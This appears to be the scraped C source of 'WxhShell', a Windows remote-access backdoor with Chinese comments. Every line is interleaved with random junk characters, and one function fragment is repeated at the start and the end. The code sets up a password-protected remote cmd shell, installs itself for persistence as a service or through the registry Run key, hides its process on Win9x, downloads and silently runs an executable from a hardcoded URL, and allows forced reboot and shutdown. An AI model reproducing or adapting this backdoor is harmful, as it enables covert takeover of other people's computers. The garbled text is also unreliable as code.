PROCNTQSIP NtQueryInformationProcess; 36+/MvIT :6t73\O static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^[m-PS( static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *kK +Nvt8s 5~DKx7P!Z HANDLE hProcess; !9$}1_,is PROCESS_BASIC_INFORMATION pbi; )z74,n7- NdLe|L?c HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XBCHJj]k if(NULL == hInst ) return 0; r^C(|Vx iZdl0;16[ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b' M"To@ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lrKT?siB NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;0oL*d[1Z tyW[i8)O} if (!NtQueryInformationProcess) return 0; O]hUOc`k ,z#D[5 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C}xfo}i if(!hProcess) return 0; KP0(w(q +,)k@OI if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ll$mRC uuFQTx)) CloseHandle(hProcess); Ar/P%$Zfq LsIZeL^ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !BkE-9v?w if(hProcess==NULL) return 0; n5A|Zjk; M=;csazN HMODULE hMod; G5t7KI char procName[255]; %_Lz0L64k unsigned long cbNeeded; z$%8' D60quEe3% if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L{>rN`{ ~?b1x+soV CloseHandle(hProcess); ,.*Df)+ yY UAH- if(strstr(procName,"services")) return 1; // 以服务启动 _^b\#Jz4U3 ]O:8o<0 return 0; // 注册表启动 ]rY9t@ } 'G % ]/'_U $=E4pb4Y // 主模块 mMZ{W+"[f int StartWxhshell(LPSTR lpCmdLine) W9c&"T9JT { 5TuwXz1v SOCKET wsl; e#mf{1& BOOL val=TRUE; ^znUf4N1 int port=0; jmq^98jB struct sockaddr_in door; &glh >9:G iC iKr aW if(wscfg.ws_autoins) Install(); ?OnL,y| (NR( )2 port=atoi(lpCmdLine); *.wj3'wV 3
I%N4K4 if(port<=0) port=wscfg.ws_port; l{8O'4; Z*q&^/N WSADATA data; @]~.-(IMh if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;rL1[qwk ceks~[rP if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; o!+'<IQ' setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !fAvxR door.sin_family = AF_INET; dgX%NKv1 door.sin_addr.s_addr = inet_addr("127.0.0.1"); x{w|Hy door.sin_port = htons(port); ) aMiT Fng if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -WyB2$!( closesocket(wsl); Y+23 jlgb return 1; S m=ln)G= } \^y~w~g? AG vhSd7 if(listen(wsl,2) == INVALID_SOCKET) { vYXh WqL~ closesocket(wsl); td\gk return 1; 8lqmd1v } W!XBuk- Wxhshell(wsl); QwFA0 WSACleanup(); ,Q Ge=Exn /[>_Ry, return 0; >+i+_^] R1Rk00Ow: } _/P;`@ F)eP55C6 // 以NT服务方式启动 V[WZ#u-p VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Vtj*O'0 { A~>B?Wijqg DWORD status = 0; ?rt[
aK DWORD specificError = 0xfffffff; => 'j_| PEjd serviceStatus.dwServiceType = SERVICE_WIN32; q*4@d)_& serviceStatus.dwCurrentState = SERVICE_START_PENDING; 'Tqusr>lPY serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NqKeQezX serviceStatus.dwWin32ExitCode = 0; 8|i<4> serviceStatus.dwServiceSpecificExitCode = 0; c%b|+4
}x serviceStatus.dwCheckPoint = 0; 7],y(:[=v serviceStatus.dwWaitHint = 0; P;gd!Yl<-
X_Lt{mf hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d<OdQvW. if (hServiceStatusHandle==0) return; qu$FpOJ
kl1Q: status = GetLastError(); {GT5 if (status!=NO_ERROR) ea$. + { sEw ?349Bz serviceStatus.dwCurrentState = SERVICE_STOPPED; INk|NEX serviceStatus.dwCheckPoint = 0; o%lxEd r serviceStatus.dwWaitHint = 0; h'G serviceStatus.dwWin32ExitCode = status; wt@TR~a serviceStatus.dwServiceSpecificExitCode = specificError; IR2Qc6+{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); @0H0!9' return; #!TlalV }
h1 "# oIj/V|ByK serviceStatus.dwCurrentState = SERVICE_RUNNING; >^#Liwm serviceStatus.dwCheckPoint = 0; YT[=o}jS serviceStatus.dwWaitHint = 0; ft{i6} if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); oTb42a_j{ } _N|AI"sj. l>i:M#z& // 处理NT服务事件,比如:启动、停止 +B+cN[d VOID WINAPI NTServiceHandler(DWORD fdwControl) O<>+l*bk { .pl,ujv switch(fdwControl) @*6_Rp"@ { o^d|/; case SERVICE_CONTROL_STOP: }NV<k serviceStatus.dwWin32ExitCode = 0; gV:0&g\v serviceStatus.dwCurrentState = SERVICE_STOPPED; x=W s)&H_Y serviceStatus.dwCheckPoint = 0; <]oPr1 serviceStatus.dwWaitHint = 0; 3ErV" R4"$ { N@'l:N'f4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'MyJw*%b] } Ya<KMBi3 return; q]!FFi{w; case SERVICE_CONTROL_PAUSE: wLO"[, serviceStatus.dwCurrentState = SERVICE_PAUSED; D"fjk1 break; k{Y\YG%b
case SERVICE_CONTROL_CONTINUE: $OGMw+$C^ serviceStatus.dwCurrentState = SERVICE_RUNNING; w*@9:+ break; I~"l9Jc!" case SERVICE_CONTROL_INTERROGATE: 'f %oL/, break; ^pfM/LQ@ }; 8"ZcK xDk SetServiceStatus(hServiceStatusHandle, &serviceStatus); v{1g`E } 4>Q] \\Lc jt3W.^6HO // 标准应用程序主函数 XWz~*@ci int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 67Tu8I/r { #t# S(A9) ecvZwL // 获取操作系统版本 9/&1lFKJ OsIsNt=GetOsVer(); RJT55Rv{ GetModuleFileName(NULL,ExeFile,MAX_PATH); l9y %@7 8)` // 从命令行安装 b-c6.aKf| if(strpbrk(lpCmdLine,"iI")) Install(); h"2^`
)!u JiA1yt // 下载执行文件 >:
@\SU if(wscfg.ws_downexe) { kY4h-oZ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l`j@QP WinExec(wscfg.ws_filenam,SW_HIDE); R
iLqMSq } xAn|OSe ~7\`qH if(!OsIsNt) { )kKeA // 如果时win9x,隐藏进程并且设置为注册表启动 3%x-^. HideProc(); Xh~oDnP StartWxhshell(lpCmdLine); $x+ P)5) } &XhxkN$8 else 0q1+5 if(StartFromService()) F*:H&, // 以服务方式启动 hSh^A5
/ StartServiceCtrlDispatcher(DispatchTable); wmP[\^c%$j else * _,yK-et // 普通方式启动 $K|2k7 StartWxhshell(lpCmdLine); A>:31C zFwO( return 0; eo"XHP7ja } &Fmen;( OXoEA a EScy!p\* f,-'eW/j =========================================== cZt5;"xgr] Au )%w @$!"}xDR' d _=44( - ydzvjp= cf_X=;yaqy " qNkX:|j
yW_goS0 #include <stdio.h> M|$A)D1 #include <string.h> D@iS#+22 #include <windows.h> b0/[+OY #include <winsock2.h> =D 5!Xq'| #include <winsvc.h> Zk gj_ #include <urlmon.h> 2+LvlS)C U4e9[=q`' #pragma comment (lib, "Ws2_32.lib") z-S8s2.Fd #pragma comment (lib, "urlmon.lib") `3UvKqe kf)s3I/`( #define MAX_USER 100 // 最大客户端连接数 <|a9r: [ #define BUF_SOCK 200 // sock buffer 2l8z/o 7v #define KEY_BUFF 255 // 输入 buffer i}5+\t[Q 57U;\L;ZmZ #define REBOOT 0 // 重启 C[JPohm #define SHUTDOWN 1 // 关机 yv5c0G.D {JcMJZ3 #define DEF_PORT 5000 // 监听端口 2|+4xqNJm kr]_?B(r #define REG_LEN 16 // 注册表键长度 ~^eC?F( #define SVC_LEN 80 // NT服务名长度 fhQ N;7 -]MZP:s // 从dll定义API O<0-`=W,a typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8O^z{Yh7 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }GGH:v typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r*ry8QA
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 79M`?xm y;LZX-Z- // wxhshell配置信息 ?kc,}/4 struct WSCFG { A^ry|4`3( int ws_port; // 监听端口 VDv>I 2% char ws_passstr[REG_LEN]; // 口令 m] IN-' int ws_autoins; // 安装标记, 1=yes 0=no xx%*85 < char ws_regname[REG_LEN]; // 注册表键名 gf|&u4D char ws_svcname[REG_LEN]; // 服务名 3],[6%w char ws_svcdisp[SVC_LEN]; // 服务显示名 2FTJxSC char ws_svcdesc[SVC_LEN]; // 服务描述信息 $D#eD. char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )$FwB6^ int ws_downexe; // 下载执行标记, 1=yes 0=no RYX=;n char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <$'FTv char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0OVxx>p/x 7:S)J~s*O }; 9t0NO-a n11eJEtm // default Wxhshell configuration 9uY$@7qH struct WSCFG wscfg={DEF_PORT, > bSQ}kXe "xuhuanlingzhe", X57\sggK 1, "1$hfs "Wxhshell", p\,PY "Wxhshell", QEq>zuz5; "WxhShell Service", Y3f2RdGl "Wrsky Windows CmdShell Service", =)XC"kUp "Please Input Your Password: ", fTA%HsvU: 1, 32):&X"AIh "http://www.wrsky.com/wxhshell.exe", knu>{a} "Wxhshell.exe" ?|we.{ }; k%ckV`y QPwUW // 消息定义模块 rIF6^? char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *ps")?tlC char *msg_ws_prompt="\n\r? for help\n\r#>"; ;jpsH?3g char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .AHww7 char *msg_ws_ext="\n\rExit."; T$9tO{ char *msg_ws_end="\n\rQuit."; x-s]3'!L char *msg_ws_boot="\n\rReboot..."; Y-:{a1/RKo char *msg_ws_poff="\n\rShutdown..."; ucC'SS char *msg_ws_down="\n\rSave to "; Ps7Bt(/ t{ScK%S6 char *msg_ws_err="\n\rErr!"; ]1n
=O"vE char *msg_ws_ok="\n\rOK!"; rM(2RI4O`0 UPJ3YpK char ExeFile[MAX_PATH]; /=ro$@ int nUser = 0; 9mH/xP:y HANDLE handles[MAX_USER]; \P0>TWE int OsIsNt; M&K'5G)7 PaYsn *{}) SERVICE_STATUS serviceStatus; 5J8U] :Y) SERVICE_STATUS_HANDLE hServiceStatusHandle; elm]e2)F *H,vqs\}y // 函数声明 veh?oJi@ int Install(void); *4F6U int Uninstall(void); ;3WVrYe int DownloadFile(char *sURL, SOCKET wsh); 6N'v`p8 int Boot(int flag); N!:&Xz void HideProc(void); 3)+}2 int GetOsVer(void); (y!<^Q int Wxhshell(SOCKET wsl); F2RU7o'f. void TalkWithClient(void *cs); :Sd
iG=t int CmdShell(SOCKET sock); ?Dk&5d^d int StartFromService(void); u>o2lvy8 int StartWxhshell(LPSTR lpCmdLine); Mk@%Wuxg2 E"$AOM?(*i VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7LY4q/ VOID WINAPI NTServiceHandler( DWORD fdwControl ); F%pYnHr< op|/_I$ // 数据结构和表定义 n[pW^&7x SERVICE_TABLE_ENTRY DispatchTable[] = v-mhqhb { juQQ {wscfg.ws_svcname, NTServiceMain}, }_L,Xg:I {NULL, NULL} Fm3B8Int }; Ks@ 8n^v,s > // 自我安装 w{;esU int Install(void) nv^nq]4'Dq { yb:Xjg7
char svExeFile[MAX_PATH]; {
'Db HKEY key; <Sx-Ca7 strcpy(svExeFile,ExeFile); ?oX.$E?( J}cqBk> // 如果是win9x系统,修改注册表设为自启动 I+]q;dF; if(!OsIsNt) { Wp<4F6C$@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ..xg4V/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &k4)&LQJ RegCloseKey(key); Ec^x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hWujio/h RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h{&}p-X&[ RegCloseKey(key); qZ6Mk9@M return 0; MjW g } 8QN#PaY } =)GhrWeVi4 } m:,S1V_jl else { t
Tky ErNL^Se1 // 如果是NT以上系统,安装为系统服务 |i7j}i SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b xT| if (schSCManager!=0) IP E2t { #PpmR_IX SC_HANDLE schService = CreateService 2.zx ( QFm~wv8: schSCManager, q;p:)Q" wscfg.ws_svcname, VnB"0"%w wscfg.ws_svcdisp, b]Xc5Dp{ SERVICE_ALL_ACCESS, ,dM}B- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7]w]i5 SERVICE_AUTO_START, -5~&A6+ILn SERVICE_ERROR_NORMAL, }x^q?;7xW svExeFile, ~al4`:rRx1 NULL, Rh:edQ# NULL, <V-D NULL, GDgq
4vfj NULL, V~>
x\ NULL WML%yO\.; ); [h>RO55e if (schService!=0) V]V~q ]
{ l H@hV CloseServiceHandle(schService); J~3+j6?% CloseServiceHandle(schSCManager); 6 ZutU ~HS strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /K{`gc strcat(svExeFile,wscfg.ws_svcname); FCu0)\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )!:}R}q RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0T{Z'3^= RegCloseKey(key); U&uop$/Cq return 0; 1d4?+[)gUv } ]D@_cxud3 } 8%qHy1 CloseServiceHandle(schSCManager); `J%iFm/5* } $y\\?
} QN!$4 1A?{ [f9U9.fR return 1; #@QZ } aB6F<"L, >8$]g // 自我卸载 e^?0uVxS1 int Uninstall(void) pDlU*& { tCFXb6Cz HKEY key; dy^Zlu`
f p<w2e if(!OsIsNt) { Q{ibH=^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o/grM+_ RegDeleteValue(key,wscfg.ws_regname); %Y7\0q~Z RegCloseKey(key); <g SZt\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6PF7Wl7. RegDeleteValue(key,wscfg.ws_regname); 6 6G$5 RegCloseKey(key); =BN_Kvza^6 return 0; UE2!,Z, } ^gY^I`"e6 } YY\$lM } [ &cCE else { WJp9io[GM 2m]CmdV^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); afVl)2h if (schSCManager!=0) n2NxO0 { =i_
s#v[Y SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3dlL?+Y# if (schService!=0) }IM *Vsk { \t6k(5J if(DeleteService(schService)!=0) { RqV* O}Am CloseServiceHandle(schService); 9ZbT41 CloseServiceHandle(schSCManager); x]~{#pH@< return 0; IUt/V^ } 5C}1iZEJ CloseServiceHandle(schService); ~(( '1+ } _O76Aw-@l CloseServiceHandle(schSCManager); Sm@T/+uG: } R!mFMw" } Y7TW_[_u 3ZZ"mlk* return 1; 'jr\F2 } k
E^%w?C Sn(e@|!G // 从指定url下载文件 ;}iV`)S int DownloadFile(char *sURL, SOCKET wsh) >5rb4 { oCw>b]S HRESULT hr; I{e[Y_ char seps[]= "/"; nH6Ny char *token; ia'eV10 char *file; Q{s9{ char myURL[MAX_PATH]; fwe4f char myFILE[MAX_PATH]; JDTlzu1hR 8zDLX,M- strcpy(myURL,sURL); 3#O Rfr( token=strtok(myURL,seps); UcZ20inj0 while(token!=NULL) T1\LS*~! { !p&[:+qN file=token; p$mx token=strtok(NULL,seps); E}7@?o7u} } N-
!>\n v}vwk8 GetCurrentDirectory(MAX_PATH,myFILE); n};:*N!
v strcat(myFILE, "\\"); 7Nu.2q E strcat(myFILE, file); TuF;>{~} send(wsh,myFILE,strlen(myFILE),0); ,".1![b send(wsh,"...",3,0); |ia#Elavo hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nY]5pOF: if(hr==S_OK) `7v"( return 0; ""0 cw else `\}Ck1o return 1; 3sh}( 4^3}+cJ7j } d:j65yu FX"j8i/N // 系统电源模块 C;mcb$@ int Boot(int flag) Pv- i. { reBAxmt HANDLE hToken; ~pv| TOKEN_PRIVILEGES tkp; %T~3xQ MBeubS if(OsIsNt) { Wu}84W"!.V OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 16J"QUuG LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'AU:[eyUV tkp.PrivilegeCount = 1; %5?Zjp+9 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /0.m|Th'm AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A_:CGtv: if(flag==REBOOT) { MmI[: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ZGa;' return 0; /AT2<w } ?@*hU2MTC else { |n*nByL/ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |^S{vub return 0; aEL^N0\d } `(2Y%L(r } CXI%8eFXe$ else { J~}%j.QQ7 if(flag==REBOOT) { |\#~ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jpGZ&L7i& return 0; F,[GdE;P } C\3;o] else { &U.U< if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |TQ#[9C0 return 0; 0~/'c0Ho } })V^t3 } 4r+@7hnK %1oh+'ES F return 1; sGAOK%28 } G!G]*p5 // k`X // win9x进程隐藏模块 3Fu5,H EJ void HideProc(void) MWl2;qi { (C3:_cM5 ~W>3EJghR, HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {^z>uRZ3 if ( hKernel != NULL ) eBZ94rA] { `X8wnD pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |ee A>z"I ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GJ9'i-\*\ FreeLibrary(hKernel); b] 5i` } -/g<A~+i]$ K Y=$RO return; es6]c%o:t^ } ;%ng])w=; X-_ $jKfM // 获取操作系统版本 G`oY(2U int GetOsVer(void) 83i;:cn { 03?7kAI OSVERSIONINFO winfo; = e"RE/q2 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W%-` GetVersionEx(&winfo); ww5UQs2sn if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X
2Zp@q( return 1; Njmb{L]Cps else Maw$^Tz, return 0; k++" } g@Z7f y7 [!S%nYs&8L // 客户端句柄模块 fAT+x1J\ int Wxhshell(SOCKET wsl) Da)H/3ii { U:fGIEz{ZY SOCKET wsh; ~j36(`t struct sockaddr_in client; ai]KH7 DWORD myID; (v0i]1ly[ wu;^fL while(nUser<MAX_USER) QR\2%}9b { ,KaO8^PB int nSize=sizeof(client); U}<' [o
V wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A kEt=vI if(wsh==INVALID_SOCKET) return 1; xxZO{_q vVFT0_ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?2<V./2F if(handles[nUser]==0) Y?4N%c_; closesocket(wsh); bqwn_=. else m+EtB6r nUser++; P0l.sVqL } 'EO"0, WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *lBX/O`= gJJ BRn{MI return 0; z]R% A:6K } v9GfudTZR >@.:9}Z // 关闭 socket $|o[l.q2 void CloseIt(SOCKET wsh) O6b.oS'- { uC5W1LyI closesocket(wsh); =PmIrvr'[5 nUser--; | W<jN ExitThread(0); 1v'|%B;O } ;BW-ag \9 |D~#9 // 客户端请求句柄 n7,LfO# void TalkWithClient(void *cs) Bi`m +ob { Jzj>=jWX@ gezZYP)d SOCKET wsh=(SOCKET)cs; >$_@p(w char pwd[SVC_LEN]; "[2D&\$ char cmd[KEY_BUFF]; a!mdL|eA@ char chr[1]; ,Ad{k int i,j; ,H5o/qNU`{ wmaj[e,h while (nUser < MAX_USER) { QV_Ep8 _MzdbUb5, if(wscfg.ws_passstr) { gjP bhY=C[ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gacE?bW' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AxiCpAS;J //ZeroMemory(pwd,KEY_BUFF); FK,Jk04on i=0; dRXdV7-! while(i<SVC_LEN) { x}jiHV@= F=V_ACU // 设置超时 D*q:XO6b fd_set FdRead; }EJ'tio] struct timeval TimeOut; l/6(V: FD_ZERO(&FdRead); M*<Bp FD_SET(wsh,&FdRead); `YK%I8 TimeOut.tv_sec=8; &` weW TimeOut.tv_usec=0; !345 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2VgVn,c if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {3N5Fi7S FSyeDC^@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); giu8EjzK pwd=chr[0]; b-)3MR:4 if(chr[0]==0xd || chr[0]==0xa) { OIrr'uNH pwd=0; l~$Od jf break; #yR@.&P } H
>1mi_1 i++; ~.TKzh'eB } !K/zFYl z1~FE // 如果是非法用户,关闭 socket F!&_ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m95;NT1N/g } xXNLUP br7_P1ep send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hG>3y\!# send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1/vcj~|)t XFcIBWS while(1) { m|k:wuzqK b`X"yg+ ZeroMemory(cmd,KEY_BUFF); =y1/V'2E vV /fTO // 自动支持客户端 telnet标准 uJ>_
2 j=0; z9P;HGuZ while(j<KEY_BUFF) { TF;}NQ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e(;nhU3a*, cmd[j]=chr[0]; X?Z#k~JR if(chr[0]==0xa || chr[0]==0xd) { F ][QH\N cmd[j]=0; b}5hqIy break; bhc
.UmH } 1
Ll<^P j++; SBqx_4} } "\u_gk{g qaN%&K9F8 // 下载文件 z\Y-8a.] if(strstr(cmd,"http://")) { 4e 55 send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0G"I}Jp{ if(DownloadFile(cmd,wsh)) 7s-ZRb[)1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); UkV{4*E else {Tym# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4'ymPPY } `VxfAV?} else { d
%Z+.O ,
,=7deR switch(cmd[0]) { }n91aE3v `:fc*n,* // 帮助 Q-LDFnOFwp case '?': { drZ1D s send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~Q)137u]P break; L_WVTz?` } p|b&hgA // 安装 h#iFp9N case 'i': { 0Zv<]xO if(Install()) NFQR send(wsh,msg_ws_err,strlen(msg_ws_err),0); (}C%g{8 else z|gG%fM send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 47c` ) *Hc break; p&%M=SzN } 0G.y_<= // 卸载 uBe1{Z case 'r': { 0$9I.%4jAJ if(Uninstall()) TdAHw
@( send(wsh,msg_ws_err,strlen(msg_ws_err),0); iVKX *kqc else oqOXRUy send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0bQm:J[(# break; 3)J0f+M>dv } 8VwByk8
// 显示 wxhshell 所在路径 `Oc`I9 case 'p': { MFyMo char svExeFile[MAX_PATH]; z!={d1u#T strcpy(svExeFile,"\n\r"); @fH?y Z=> strcat(svExeFile,ExeFile); kM`!'0kt send(wsh,svExeFile,strlen(svExeFile),0); !y>MchNv break; \5wC&|WEB } :%?\Wj5HW // 重启 |$vhu`]Z@^ case 'b': { Hlw0ia send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v<`1z?dch if(Boot(REBOOT)) EQ j2:9f send(wsh,msg_ws_err,strlen(msg_ws_err),0); f
V|Zh else { vh~:{akR closesocket(wsh); jaj."v ExitThread(0); `euk&]/^.) } b7:B[7yK.x break; y!9facg } m_7)r // 关机 A~!3svJW case 'd': { ;rj=hc send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I\0mmdi73 if(Boot(SHUTDOWN)) Us]Uy|j send(wsh,msg_ws_err,strlen(msg_ws_err),0); cXO_g!&2A else { c !ybz{L closesocket(wsh); "/)}Cc,L ExitThread(0); 'S
f } ZR3x;$I~4 break; #0HF7C3 } ,'CDKzY // 获取shell =~&Fq$$ case 's': { BW>f@;egg CmdShell(wsh);
4^L+LY closesocket(wsh); eKL)jzC: ExitThread(0); HgwL~vG break; 5O9Oi:-!c } _J51:pi // 退出 HHbkR2H1 case 'x': { )p MZ5|+X send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x0])&':! CloseIt(wsh); Sdc;jK 9d! break; Uv6#d":f; } ~%4#R4& // 离开 &8Cuu$T9) case 'q': { i6[,m*q~2x send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0VV 1!g closesocket(wsh); {)eV) 2a WSACleanup(); Kt%`]Wp exit(1); \^wI9g~0 break; W39R)sra } ms=Ilz } saH +C@_, } B
0%kq7>g =;{vfjj // 提示信息 n_@YKz;8 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /Xi:k } Kfc(GL? } 9-+6Ed^2 (U/xpj} return; ;bd\XHwMUP } 63QSYn,t <3;/,>^ Pm // shell模块句柄 HFwT
int CmdShell(SOCKET sock) V%pdXM5 { yZ aQ{]" STARTUPINFO si; x3L3K/qMg ZeroMemory(&si,sizeof(si)); $-VW)~Sl si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I\sCH si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EIl _QV6 PROCESS_INFORMATION ProcessInfo; O'deQq[ char cmdline[]="cmd"; :L9\`&}FS CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (jkjj7a return 0; {M]m cRB( } >L anuv)O `xkJ.,#Io // 自身启动模式 MB\vgKY int StartFromService(void) :Ke~b_$Uy- { `SWf)1K typedef struct K}O~tff { ^!|BKH8>f% DWORD ExitStatus; WKpHb:H DWORD PebBaseAddress; 6^['g-\2 DWORD AffinityMask; KhZ'Ic[vw DWORD BasePriority; 7,|-%!p[ ULONG UniqueProcessId; +v&+8S`+ ULONG InheritedFromUniqueProcessId; R+Ke|C } PROCESS_BASIC_INFORMATION; l\5qa_{z mxjY-Kq PROCNTQSIP NtQueryInformationProcess; ltHC+8aZ XH)MBr@Fz static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iD@2_m) static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; SsafRK$ <acAc2 HANDLE hProcess; Vm&fw".J PROCESS_BASIC_INFORMATION pbi; @ky5XV A1\;6W: HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K^H=E if(NULL == hInst ) return 0; #(CI/7
- SR~~rD|V g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /NLpk7r[\q g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sl%B-;@I NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \C*?a0!:Z} eUqsvF}l! if (!NtQueryInformationProcess) return 0; -BACdX H"I|dK : hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u9m"{KnV if(!hProcess) return 0; <H)h+?&~d z-(dT if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; blaxUP: Z/hSH
